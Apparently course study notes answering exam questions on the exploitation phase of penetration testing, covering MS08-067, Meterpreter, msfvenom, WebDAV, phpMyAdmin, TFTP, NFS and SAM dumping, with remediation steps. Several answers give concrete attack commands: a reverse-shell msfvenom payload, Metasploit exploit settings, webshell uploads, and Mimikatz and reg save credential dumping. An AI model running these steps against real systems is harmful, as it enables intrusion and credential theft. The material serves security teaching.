CHAPTER 8 — EXPLOITATION

1.] REMEMBER (Knowledge Recall)

1. Define exploitation in penetration testing. (3 Marks)
●​ Exploitation in penetration testing is the process of actively leveraging or taking advantage of discovered
vulnerabilities in a system, application, or network to gain unauthorized access or control.
●​ It involves using exploits (ready-made codes, scripts, or tools) to execute malicious payloads that can
compromise the target.
●​ The primary goal of exploitation is to demonstrate the practical impact and risk of the identified vulnerability by
successfully breaching security controls.
●​ Exploitation phase comes after vulnerability scanning and identification in the penetration testing lifecycle.
●​ It helps security teams understand what an actual attacker could achieve if the vulnerability is left unpatched.

2. What is MS08-067? (3 Marks)

●​ MS08-067 is a critical security bulletin released by Microsoft in October 2008.
●​ It refers to a severe remote code execution vulnerability in the Microsoft Windows Server service (specifically
in the [Link]).
●​ The vulnerability is caused due to improper handling of specially crafted RPC (Remote Procedure Call)
requests in the Server service.
●​ It affects Windows XP, Windows Server 2003, Windows Vista, and Windows Server 2008 (most versions).
●​ This vulnerability was famously exploited by the Conficker worm (also known as Downadup) which infected
millions of computers worldwide.
●​ It is one of the most well-known and dangerous vulnerabilities in the history of Windows operating systems.
●​ Exploitation of MS08-067 allows an unauthenticated remote attacker to execute arbitrary code with
SYSTEM-level privileges on the target machine.

3. What is the role of Meterpreter during exploitation? (3 Marks)

●​ Meterpreter is a powerful, advanced, and stealthy payload used in the Metasploit Framework during the
exploitation phase.
●​ It is an in-memory, dynamic, and extensible payload that provides an interactive command shell after
successful exploitation.
●​ The main role of Meterpreter is to establish a stable and flexible communication channel (session) between the
attacker’s machine and the compromised target system.
●​ It allows the penetration tester to perform various post-exploitation activities such as file system navigation,
command execution, keylogging, screenshot capturing, privilege escalation, and pivoting without writing
anything to the hard disk.
●​ Meterpreter runs entirely in the memory of the exploited process, making it difficult to detect by traditional
antivirus and forensic tools.
●​ It supports multiple communication channels (TCP, HTTP, HTTPS, etc.) and can migrate between processes to
maintain access even if the original exploited process crashes.

4. What are default credentials in exploitation scenarios? (4 Marks)

●​ Default credentials refer to the pre-configured username and password combinations that come with software,
hardware, or applications from the manufacturer.
●​ In exploitation scenarios, default credentials are commonly used by penetration testers to gain initial
unauthorized access when the target system or device has not changed the factory-set login details.
●​ Many devices and services such as routers, webcams, databases (e.g., phpMyAdmin, MySQL), IoT devices, and
web applications still use weak defaults like admin/admin, admin/password, root/root, or guest/guest.
●​ Exploitation using default credentials is considered a very common and high-impact attack vector because it
requires no technical vulnerability — only poor configuration.
●​ During penetration testing, testers systematically try lists of known default credential pairs using automated
tools like Hydra, Medusa, or Metasploit auxiliary modules.
●​ Successful use of default credentials allows the attacker to bypass authentication controls and move further into
the system for privilege escalation or lateral movement.

5. Define WebDAV exploitation. (4 Marks)

●​ WebDAV stands for Web Distributed Authoring and Versioning — it is an extension of the HTTP protocol that
allows users to collaboratively edit and manage files on remote web servers.
●​ WebDAV exploitation refers to the process of abusing misconfigured or poorly secured WebDAV services to
upload malicious files (such as webshells, backdoors, or executable payloads) onto the target web server.
●​ It becomes exploitable when the WebDAV directory has weak permissions, allows unauthenticated access, or
uses default credentials.
●​ Common exploitation techniques include uploading PHP, ASP, or JSP webshells using tools like Cadaver,
DavTest, or Metasploit’s WebDAV modules.
●​ Once a malicious file is successfully uploaded and executed, the attacker can gain remote command execution
on the server.
●​ WebDAV exploitation is frequently seen in real-world attacks on Microsoft IIS servers, Apache, and other web
platforms that enable WebDAV by default.

6. What is the purpose of msfvenom in payload deployment? (4 Marks)

●​ msfvenom is a command-line utility included in the Metasploit Framework used for generating and encoding
various types of payloads.
●​ Its main purpose is to create custom, platform-specific payloads (such as reverse shells, bind shells, meterpreter,
etc.) that can be used during exploitation.
●​ msfvenom combines the functionality of both msfpayload and msfencode into a single powerful tool.
●​ It allows penetration testers to generate payloads in different output formats (exe, dll, php, asp, jar, war, etc.)
and apply multiple encoders to evade antivirus detection.
●​ Key features include payload generation with custom LHOST and LPORT, bad character avoidance, and
support for multiple architectures (x86, x64, ARM, etc.).
●​ In exploitation scenarios, msfvenom-generated payloads are embedded into exploits or delivered through social
engineering to establish a stable connection back to the attacker’s machine.
2.] UNDERSTAND (Concept Explanation)
7. Explain how Metasploit payloads support exploitation. (4 Marks)
●​ Metasploit payloads are small pieces of code that are delivered to the target system after a vulnerability is
successfully triggered during the exploitation phase.
●​ They support exploitation by providing the attacker with a communication channel and control over the
compromised system once the initial vulnerability is exploited.
●​ Payloads allow the tester to choose the type of access required — for example, a reverse shell payload makes
the target connect back to the attacker’s machine, while a bind shell opens a port on the target for the attacker to
connect.
●​ Metasploit provides different payload types such as Meterpreter, command shell, VNC, and custom payloads,
giving flexibility based on the target environment and objective.
●​ Payloads are generated using msfvenom and can be encoded to bypass antivirus and intrusion detection
systems, increasing the success rate of exploitation.
●​ Overall, Metasploit payloads convert a simple vulnerability trigger into a fully functional remote access session,
enabling further post-exploitation activities.

8. Explain how exploiting default credentials leads to unauthorized access. (4 Marks)

●​ Default credentials are username-password pairs that are pre-set by the manufacturer (e.g., admin/admin,
root/toor, guest/guest) and are often left unchanged by users or administrators.
●​ When an attacker or penetration tester discovers services with default credentials, they can directly authenticate
to the system without needing to crack passwords or exploit software vulnerabilities.
●​ Exploiting default credentials bypasses the authentication mechanism entirely because the system accepts these
known weak combinations as valid login details.
●​ Once logged in successfully, the attacker gains legitimate user-level or administrator-level privileges depending
on the default account used, leading to unauthorized access to sensitive data, configurations, and system
resources.
●​ This access can further be used for privilege escalation, installing backdoors, or moving laterally to other
systems in the network.
●​ Default credential exploitation is considered a critical security failure because it requires minimal technical
effort but can lead to complete system compromise.

9. Explain why SAM files are valuable targets for attackers. (4 Marks)
●​ SAM stands for Security Account Manager — it is a file located in the Windows system directory (usually
C:\Windows\System32\config\SAM) that stores all local user account passwords in hashed form.
●​ SAM files are valuable because they contain the NTLM password hashes of all local user accounts, including
the Administrator account.
●​ Attackers target SAM files to extract these password hashes and then perform offline password cracking using
tools like Hashcat or John the Ripper.
●​ Once the hashes are cracked, attackers can obtain plaintext passwords, which can be used for further login,
privilege escalation, or lateral movement across the network.
●​ Even if the passwords are strong and difficult to crack immediately, attackers can use techniques like
Pass-the-Hash (PtH) to authenticate to other systems without needing the actual password.
●​ Dumping the SAM file (using tools like Mimikatz or Meterpreter) is a common post-exploitation technique
because it provides long-term access and helps expand the attack surface.
10. Describe the exploitation process of an open phpMyAdmin instance. (5 Marks)
●​ phpMyAdmin is a web-based open-source tool used for managing MySQL/MariaDB databases through a
browser interface.
●​ An open phpMyAdmin instance means it is publicly accessible on the internet without proper authentication, IP
restrictions, or strong credentials.
●​ The exploitation process begins with reconnaissance — identifying the phpMyAdmin login page (usually at
/phpmyadmin or /pma) using tools like Nikto, Dirbuster, or manual browsing.
●​ If default credentials (such as root/root, admin/admin, or blank password) are used or weak passwords are set,
the attacker logs in successfully.
●​ Once logged in, the attacker can directly execute SQL commands, create new database users with
administrative privileges, or upload malicious files.
●​ A common exploitation technique is to use the "Import" feature or SQL queries to write a webshell (PHP
backdoor) into the web server's directory.
●​ After uploading the webshell, the attacker gains remote command execution on the server, allowing full system
compromise, data theft, or further pivoting.
●​ This attack is highly effective because phpMyAdmin runs with the same privileges as the database user, often
leading to complete server takeover.

11. Explain how TFTP is abused during exploitation. (5 Marks)

●​ TFTP (Trivial File Transfer Protocol) is a simple, lightweight, and unauthenticated file transfer protocol that
runs on UDP port 69.
●​ It is commonly used by network devices (routers, switches, IP phones, printers) for booting, configuration
backup, and firmware updates.
●​ TFTP is abused during exploitation because it lacks any authentication mechanism and does not encrypt data.
●​ An attacker can scan for open TFTP servers using tools like Nmap and then attempt to download sensitive files
such as configuration files ([Link], [Link]) that may contain passwords, SNMP strings, or encryption
keys.
●​ In some cases, the attacker can also upload malicious configuration files or firmware images to the target
device.
●​ Compromised configuration files often reveal administrative credentials, enabling further attacks like
Telnet/SSH login or privilege escalation.
●​ TFTP abuse is particularly dangerous in internal networks where devices are misconfigured with
world-readable permissions, allowing easy information disclosure and device takeover.

12. Explain how open NFS shares create exploitation opportunities. (5 Marks)
●​ NFS (Network File System) is a protocol used to share files and directories between Linux/Unix systems over a
network.
●​ Open NFS shares occur when an NFS export is configured with weak permissions such as “no_root_squash”,
“rw” (read-write), or is accessible to “everyone” (*).
●​ These misconfigurations create exploitation opportunities because attackers can mount the remote NFS share
directly on their machine without any authentication.
●​ Once mounted, the attacker gains read and write access to the shared files and directories as if they were local.
●​ A common attack is to place a malicious SSH public key into the target user’s ~/.ssh/authorized_keys file,
allowing passwordless root or user login.
●​ Attackers can also modify important configuration files, upload backdoors, or replace legitimate binaries with
trojanized versions.
●​ Because NFS runs with the same user permissions as the client, an open share with root privileges can lead to
full remote code execution and complete system compromise.

3.] APPLY (Use of Knowledge in Context)

13. Demonstrate exploitation of a vulnerable Windows machine using MS08-067. (5 Marks)
●​ Start with reconnaissance using Nmap to scan for open ports: nmap -sV -p 445 <target IP> to confirm SMB
service and Windows version.
●​ Check if the target is vulnerable to MS08-067 using Metasploit: use auxiliary/scanner/smb/smb_version or use
exploit/windows/smb/ms08_067_netapi.
●​ Set the required options: set RHOSTS <target IP>, set PAYLOAD windows/meterpreter/reverse_tcp, set
LHOST <attacker IP>.
●​ Run the exploit using exploit command.
●​ If successful, Metasploit triggers the buffer overflow in the Server service via RPC and delivers the payload.
●​ A Meterpreter session is established, giving the attacker SYSTEM-level privileges on the vulnerable Windows
machine.
●​ The attacker can then perform post-exploitation tasks such as sysinfo, getuid, or migrate to a stable process.

14. Show how a payload generated by msfvenom can be uploaded and executed on a web
server. (5 Marks)
●​ Generate a reverse shell payload using msfvenom: msfvenom -p windows/meterpreter/reverse_tcp
LHOST=<attacker IP> LPORT=4444 -f exe > [Link]
●​ Upload the generated payload ([Link]) to the web server using existing vulnerabilities such as file upload
forms, WebDAV, or insecure admin panels.
●​ Once uploaded, locate the file path on the web server (e.g., [Link]
●​ Set up a Metasploit listener: use exploit/multi/handler, set the same payload and LHOST/LPORT, then run
exploit.
●​ Trigger execution of the payload by accessing the file URL or using command injection if direct execution is
blocked.
●​ When the payload executes, it connects back to the attacker’s machine, establishing a Meterpreter session for
further control.

15. Apply WebDAV exploitation using default credentials to gain remote access. (5 Marks)
●​ Identify WebDAV-enabled directories using tools like Nikto or manual checking (common paths: /webdav, /dav,
/uploads).
●​ Test for default or weak credentials (e.g., admin/admin, guest/guest) using tools like cadaver or Burp Suite.
●​ Connect to the WebDAV share using cadaver: cadaver [Link] IP>/webdav and login with discovered
credentials.
●​ Once connected, upload a malicious webshell (e.g., PHP backdoor) using the put command: put [Link].
●​ Access the uploaded webshell through the browser to execute system commands.
●​ This grants remote command execution, allowing the attacker to upgrade to a full reverse shell or Meterpreter
session for complete server access.

16. Apply a full exploitation workflow against a misconfigured web application server from
reconnaissance to shell access. (6 Marks)
●​ Reconnaissance: Perform port scanning with Nmap (nmap -sV -A <target IP>) and directory enumeration
using Gobuster or Dirbuster to find hidden directories and admin panels.
●​ Vulnerability Scanning: Use Nikto or OWASP ZAP to identify misconfigurations such as open phpMyAdmin,
WebDAV, or default login pages.
●​ Gaining Initial Access: Exploit weak/default credentials on phpMyAdmin, admin panels, or WebDAV to log
in.
●​ Payload Creation: Generate a suitable payload using msfvenom (e.g., PHP or ASP webshell / reverse shell).
●​ Uploading Payload: Upload the webshell or payload using WebDAV, file upload functionality, or SQL
injection in phpMyAdmin.
●​ Executing Payload: Trigger the uploaded file via browser or command execution to get initial shell access.
●​ Upgrading Shell: Upgrade from basic web shell to a stable Meterpreter session using Metasploit for better
control and evasion.
●​ Post-Exploitation: Perform privilege escalation, dump credentials, and establish persistence for long-term
access.

4. ANALYZE (Breakdown and Relationships)

17. Demonstrate how an attacker extracts Windows SAM files after gaining limited access.
(6 Marks)
●​ After gaining initial Meterpreter session or command shell with limited privileges, escalate privileges to
SYSTEM or Administrator level using local exploits or token impersonation.
●​ Use Meterpreter commands: hashdump (if running as SYSTEM) or run post/windows/gather/smart_hashdump.
●​ Alternatively, use Mimikatz by uploading it to the target: upload [Link], then run privilege::debug
followed by lsadump::sam.
●​ Manually locate and copy the SAM file from C:\Windows\System32\config\SAM (requires SeBackupPrivilege
or SYSTEM rights).
●​ Use tools like reg save HKLM\SAM [Link] and reg save HKLM\SYSTEM [Link] to dump registry
hives.
●​ Download the dumped SAM and SYSTEM files to the attacker’s machine using download command in
Meterpreter.
●​ Perform offline password cracking on the extracted NTLM hashes using Hashcat or John the Ripper to obtain
plaintext passwords.

18. Compare exploitation through default credentials and exploitation through software
vulnerabilities. (5 Marks)
●​ Default credential exploitation relies on weak or unchanged factory-set usernames and passwords, while
software vulnerability exploitation targets coding flaws such as buffer overflows or injection issues.
●​ Default credential attacks require no technical exploit code — only guessing or using known default pairs,
whereas software vulnerabilities need crafted payloads or exploit scripts.
●​ Default credential exploitation is easier and faster to perform but limited to services that still use defaults, while
software vulnerability exploitation can affect properly configured systems if patches are missing.
●​ Success rate of default credentials is high in poorly managed environments, but software vulnerabilities often
provide deeper access like remote code execution with SYSTEM privileges.
●​ Default credential attacks are considered configuration weaknesses, whereas software vulnerabilities are
programming or design flaws.
●​ Both ultimately lead to unauthorized access, but default credentials are easier to prevent through policy
enforcement, while software vulnerabilities require timely patching and updates.

19. Analyze differences between WebDAV exploitation and phpMyAdmin exploitation.

(5 Marks)
●​ WebDAV exploitation abuses the file upload and management feature of the WebDAV protocol, while
phpMyAdmin exploitation targets the database management interface of MySQL.
●​ WebDAV allows direct uploading of webshells or backdoors into the web server directory, whereas
phpMyAdmin enables execution of SQL queries to create users or write files indirectly.
●​ WebDAV exploitation usually requires write permissions on a directory and works at the file system level, while
phpMyAdmin exploitation works at the database level and often needs database credentials.
●​ WebDAV attacks are protocol-based and can succeed with default credentials or weak permissions, but
phpMyAdmin attacks frequently involve uploading malicious PHP code through SQL import functions.
●​ WebDAV is more direct for gaining web server command execution, whereas phpMyAdmin exploitation can
lead to full server compromise if the database user has high privileges (e.g., FILE privilege).
●​ Both are configuration-related weaknesses but affect different layers — WebDAV affects web server file
handling, while phpMyAdmin affects database administration access.

20. Compare exploitation of compromised services versus open NFS shares. (5 Marks)
●​ Compromised services exploitation involves abusing already running services (e.g., SMB, RDP, SSH) after
gaining initial access or using vulnerabilities, while open NFS shares allow direct mounting without any prior
compromise.
●​ Compromised services often require authentication bypass or vulnerability triggering, whereas open NFS
shares can be exploited with zero authentication if exported with weak permissions like “everyone” or
“no_root_squash”.
●​ Exploitation of compromised services usually gives controlled access based on service privileges, while open
NFS shares can provide direct read/write access to the entire shared filesystem.
●​ NFS share exploitation is file-system based and enables easy backdoor placement (e.g., modifying
authorized_keys), whereas compromised services may require additional steps for persistence.
●​ Open NFS shares are more dangerous in internal networks due to their simplicity, while compromised services
are common after initial foothold.
●​ Both create serious risks, but NFS exploitation is often faster and requires less technical skill compared to
exploiting complex service vulnerabilities.

21. Break down the stages involved in exploiting a third-party software buffer overflow. (6
Marks)
●​ Stage 1 – Vulnerability Discovery: Identify the buffer overflow in the third-party software through fuzzing,
static analysis, or public CVE details.
●​ Stage 2 – Triggering the Overflow: Send specially crafted input that exceeds the buffer size to overwrite
adjacent memory (e.g., return address).
●​ Stage 3 – Control Flow Hijacking: Overwrite the return address or function pointer to redirect execution to
attacker-controlled code (shellcode).
●​ Stage 4 – Payload Delivery: Deliver the shellcode or stage the payload (e.g., Meterpreter) into executable
memory space, bypassing protections like DEP using ROP chains if needed.
●​ Stage 5 – Code Execution: Gain initial shell or session (reverse/bind shell) with the privileges of the vulnerable
process.
●​ Stage 6 – Privilege Escalation & Persistence: Escalate from user-level to SYSTEM/admin rights and install
backdoors for long-term access.
●​ Each stage depends on the previous one; failure in memory control or bad character handling can break the
entire exploit chain.

22. Analyze how payload delivery, execution, and persistence interact during exploitation. (6
Marks)
●​ Payload delivery introduces the malicious code into the target system after vulnerability exploitation (via
reverse_tcp, bind_tcp, or file upload).
●​ Payload execution activates the delivered code, establishing a communication channel (Meterpreter session or
shell) back to the attacker.
●​ Persistence mechanisms ensure the payload or backdoor survives system reboots and process termination,
maintaining long-term access.
●​ These three interact sequentially: successful delivery enables execution, and execution provides the opportunity
to install persistence (e.g., registry keys, scheduled tasks, or cron jobs).
●​ If persistence is not established after execution, access may be lost when the exploited process crashes or the
system restarts.
●​ Strong interaction between them increases the overall impact — a well-delivered and executed payload with
good persistence turns temporary exploitation into permanent compromise.

23. Analyze the security impact of sensitive configuration file exposure. (6 Marks)
●​ Exposure of sensitive configuration files (e.g., [Link], [Link], .env, [Link]) often reveals database
credentials, API keys, encryption keys, and admin passwords.
●​ This exposure leads to immediate information disclosure, allowing attackers to authenticate to connected
services like databases, cloud storage, or internal servers.
●​ It creates a chain reaction — stolen credentials enable lateral movement, privilege escalation, and compromise
of other interconnected systems.
●​ Configuration files may also contain paths, version details, and debugging information that help attackers craft
more targeted follow-on exploits.
●​ In many cases, it bypasses the need for complex vulnerability exploitation since valid credentials provide
legitimate access.
●​ Overall impact is severe because it turns a simple misconfiguration into full system or network compromise,
increases risk of data breach, and undermines the entire security posture of the organization.
5. EVALUATE (Judgment / Critical Assessment)
24. Evaluate the risks of leaving default credentials unchanged in production systems.
(5 Marks)
●​ Leaving default credentials unchanged creates an extremely high risk of immediate unauthorized access
because attackers can easily guess or use publicly known username-password combinations.
●​ It bypasses all authentication controls without needing any software vulnerability, making it one of the simplest
and most successful attack vectors.
●​ In production systems, this can lead to full system compromise, data theft, ransomware deployment, or use of
the system as a pivot point for further attacks.
●​ Default credential attacks are difficult to detect because login attempts appear as legitimate authentication
rather than exploitation.
●​ The risk is amplified in large networks where multiple devices (routers, servers, IoT, databases) use the same
defaults, allowing rapid lateral movement.
●​ Overall, it represents poor security hygiene and is considered a critical misconfiguration that can result in
severe financial, reputational, and operational damage.

25. Assess the security impact of exposed administrative web interfaces like phpMyAdmin.
(5 Marks)
●​ Exposed phpMyAdmin interfaces provide direct access to the backend database, which often contains highly
sensitive business and user data.
●​ If left accessible without authentication or IP whitelisting, attackers can log in using default/weak credentials
and execute arbitrary SQL queries.
●​ The impact includes complete database dumping, data manipulation, deletion, or creation of new administrative
users.
●​ Attackers can also upload malicious PHP code through SQL functions, leading to remote command execution
and full web server compromise.
●​ It increases the attack surface significantly because a single exposed interface can compromise the entire
application and connected services.
●​ In summary, exposed administrative interfaces like phpMyAdmin are high-risk assets that can cause
catastrophic breaches if not properly secured or hidden.

26. Evaluate the effectiveness of TFTP as an attacker delivery mechanism. (5 Marks)

●​ TFTP is highly effective as an attacker delivery mechanism in internal networks because it is unauthenticated,
lightweight, and runs over UDP, making it fast and simple to abuse.
●​ Attackers can easily download sensitive configuration files containing passwords, SNMP strings, and device
settings without any login.
●​ It is less effective on the public internet due to firewall restrictions and lack of encryption, but extremely
dangerous in misconfigured internal environments.
●​ TFTP allows both downloading (information disclosure) and uploading (malicious configuration injection),
increasing its versatility.
●​ However, its effectiveness is limited by the fact that many modern devices have disabled TFTP or restricted its
access.
●​ Overall, TFTP remains a very effective low-effort attack vector when enabled with open permissions,
especially for reconnaissance and initial compromise of network devices.
27. Assess whether file-sharing misconfigurations (NFS exposure) are more dangerous than
software vulnerabilities. (6 Marks)
●​ NFS exposure can be more dangerous than many software vulnerabilities because it often requires zero
technical exploit — just mounting the share if permissions are weak (e.g., no_root_squash or everyone access).
●​ Open NFS shares grant direct read/write access to the filesystem, allowing attackers to plant SSH keys, modify
configuration files, or upload backdoors instantly.
●​ Unlike software vulnerabilities that may require complex exploit development and can be patched, NFS
misconfigurations are purely human errors and remain exploitable until manually fixed.
●​ However, software vulnerabilities (especially remote code execution) can affect patched systems if zero-days
are used and often provide higher privileges with less visibility.
●​ NFS exposure is particularly dangerous in Linux/Unix environments and internal networks where file sharing is
common.
●​ In evaluation, NFS misconfigurations are often more dangerous in practice due to their simplicity, high success
rate, and ability to provide immediate persistent access, while software vulnerabilities depend on unpatched
flaws and exploit reliability.

28. Evaluate the effectiveness of Meterpreter compared to traditional shell payloads in

post-compromise exploitation. (6 Marks)
●​ Meterpreter is significantly more effective than traditional shell payloads because it runs entirely in memory,
leaving no traces on disk and making detection by antivirus and forensics tools very difficult.
●​ It provides an interactive, feature-rich environment with built-in commands for file management, keylogging,
screenshot capture, privilege escalation, and process migration.
●​ Traditional shells ([Link] or /bin/sh) are limited in functionality, noisy, and easily detected or terminated when
the original process crashes.
●​ Meterpreter supports multiple transport channels (TCP, HTTP, HTTPS) and can migrate between processes to
maintain stability even if the exploited service restarts.
●​ It also includes advanced evasion techniques such as encrypted communication and the ability to load
extensions dynamically.
●​ Overall, Meterpreter is far superior for professional penetration testing and real-world attacks due to its stealth,
flexibility, and extensive post-exploitation capabilities compared to basic shell payloads.

6. CREATE (Design / Synthesis)

29. Design a complete exploitation plan for a vulnerable enterprise file server. (6 Marks)
●​ Phase 1 – Reconnaissance: Perform passive and active scanning using Nmap (nmap -sV -A -p- <target IP>)
and enum4linux to identify open SMB/NFS shares, OS version, and running services.
●​ Phase 2 – Vulnerability Identification: Use Metasploit auxiliary scanners and Nessus/OpenVAS to detect
unpatched vulnerabilities (e.g., MS08-067, EternalBlue) and misconfigurations like open shares or default
credentials.
●​ Phase 3 – Initial Access: Attempt default or weak credential login on SMB/NFS shares; if unsuccessful,
exploit identified software vulnerabilities using Metasploit (e.g., exploit/windows/smb/ms08_067_netapi).
●​ Phase 4 – Payload Delivery & Execution: Generate a custom Meterpreter reverse TCP payload with
msfvenom, upload it via open share or WebDAV, and execute it to obtain a stable session.
 ●​ Phase 5 – Privilege Escalation: Use Meterpreter getsystem or local exploits (e.g., bypassuac) to gain
SYSTEM-level access.
●​ Phase 6 – Post-Exploitation & Objective Achievement: Dump SAM/SYSTEM hives, extract sensitive files
from shares, map network for lateral movement, and establish persistence via scheduled tasks or registry run
keys.
●​ Phase 7 – Cleanup & Reporting: Remove uploaded files, clear logs where possible, and document the entire
chain for the penetration testing report.

30. Create a secure testing workflow to validate WebDAV misconfiguration vulnerabilities. (6

Marks)
●​ Step 1 – Pre-Engagement: Obtain written authorization and define scope to include only the WebDAV
directories.
●​ Step 2 – Reconnaissance: Use Nikto, Gobuster, and manual browsing to locate WebDAV endpoints (e.g.,
/webdav, /dav) and check for OPTIONS method support.
●​ Step 3 – Safe Enumeration: Test WebDAV methods (PROPFIND, PUT, DELETE) using cadaver or Burp
Suite without uploading malicious content initially.
●​ Step 4 – Credential Testing: Attempt default and weak credential login (admin/admin, guest/guest) using only
authorized accounts.
●​ Step 5 – Controlled Exploitation: Upload a harmless test file (e.g., [Link] containing “WebDAV test”) using
cadaver put command and verify write access.
●​ Step 6 – Impact Validation: Confirm remote command execution possibility by uploading a benign PHP info
file and accessing it via browser.
●​ Step 7 – Documentation & Cleanup: Take screenshots of each step, remove all test files, and generate a
detailed report with remediation recommendations.
●​ Step 8 – Post-Test: Notify the client immediately if critical access was achieved and ensure all test artifacts are
deleted.

31. Develop a stepwise attack chain demonstrating exploitation from weak credentials to
SAM extraction. (6 Marks)
●​ Step 1: Identify exposed services with weak/default credentials using Nmap and credential stuffing tools
(Hydra/Medusa).
●​ Step 2: Gain initial foothold by logging into the service (e.g., SMB, RDP, or web admin panel) using
discovered weak credentials.
●​ Step 3: Escalate privileges from standard user to Administrator/SYSTEM using local exploits or token
impersonation.
●​ Step 4: Upload and execute Meterpreter or Mimikatz on the target system.
●​ Step 5: Enable SeDebugPrivilege and use Mimikatz (lsadump::sam) or Meterpreter hashdump to extract SAM
database hashes.
●​ Step 6: Save the SAM and SYSTEM registry hives (reg save HKLM\SAM [Link] and reg save
HKLM\SYSTEM [Link]).
●​ Step 7: Download the extracted files to the attacker machine using Meterpreter download command.
●​ Step 8: Perform offline cracking of NTLM hashes using Hashcat/John the Ripper to obtain plaintext passwords
for further attacks.
32. Design a remediation strategy for systems vulnerable to third-party exploitation vectors.
(6 Marks)
●​ Step 1 – Inventory & Patching: Maintain a complete asset inventory and apply security patches for all
third-party software within 48 hours of release.
●​ Step 2 – Credential Hardening: Enforce policy to change all default credentials immediately and implement
strong password policies with MFA for administrative interfaces.
●​ Step 3 – Configuration Hardening: Disable unnecessary services (TFTP, WebDAV, NFS with weak exports)
and apply least-privilege principles (e.g., root_squash for NFS).
●​ Step 4 – Network Segmentation: Place critical servers in isolated VLANs or zero-trust segments to limit
lateral movement.
●​ Step 5 – Monitoring & Detection: Deploy IDS/IPS rules for known exploit signatures and enable real-time
logging with SIEM correlation for anomalous access.
●​ Step 6 – Secure Development & Testing: Conduct regular VAPT and code reviews for all third-party
integrated applications before deployment.
●​ Step 7 – Backup & Recovery: Implement automated, offline, and immutable backups with tested restoration
procedures.
●​ Step 8 – Continuous Validation: Schedule quarterly red-team exercises and automated vulnerability scans to
verify the effectiveness of the remediation controls.